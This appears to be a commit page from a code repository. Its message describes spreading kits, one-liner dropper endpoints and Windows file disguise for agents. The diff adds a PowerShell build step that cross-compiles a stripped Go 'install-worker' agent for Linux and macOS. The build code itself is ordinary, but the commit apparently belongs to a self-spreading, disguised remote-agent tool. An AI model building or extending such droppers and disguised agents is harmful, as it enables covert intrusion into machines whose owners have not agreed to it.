Add universal forge, fusion disguise, remote deploy, and stability fixes.
Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.
This commit is contained in:
@@ -87,6 +87,22 @@ if (-not $SkipBuild) {
|
||||
go build -o (Join-Path $Root "bin\install-worker.exe") .
|
||||
Pop-Location
|
||||
}
|
||||
|
||||
Invoke-Phase "7b Agent cross-compile (linux/darwin)" {
|
||||
Push-Location (Join-Path $Root "agent")
|
||||
$env:CGO_ENABLED = "0"
|
||||
$env:GOOS = "linux"; $env:GOARCH = "amd64"
|
||||
go build -o (Join-Path $Root "bin\install-worker-linux-amd64") -ldflags "-s -w" .
|
||||
$env:GOOS = "linux"; $env:GOARCH = "arm64"
|
||||
go build -o (Join-Path $Root "bin\install-worker-linux-arm64") -ldflags "-s -w" .
|
||||
$env:GOOS = "darwin"; $env:GOARCH = "arm64"
|
||||
go build -o (Join-Path $Root "bin\install-worker-darwin-arm64") -ldflags "-s -w" .
|
||||
$env:GOOS = "darwin"; $env:GOARCH = "amd64"
|
||||
go build -o (Join-Path $Root "bin\install-worker-darwin-amd64") -ldflags "-s -w" .
|
||||
Remove-Item Env:GOOS, Env:GOARCH -ErrorAction SilentlyContinue
|
||||
Pop-Location
|
||||
}
|
||||
|
||||
} else {
|
||||
Write-Phase "5-7/8 Build phases (skipped)"
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user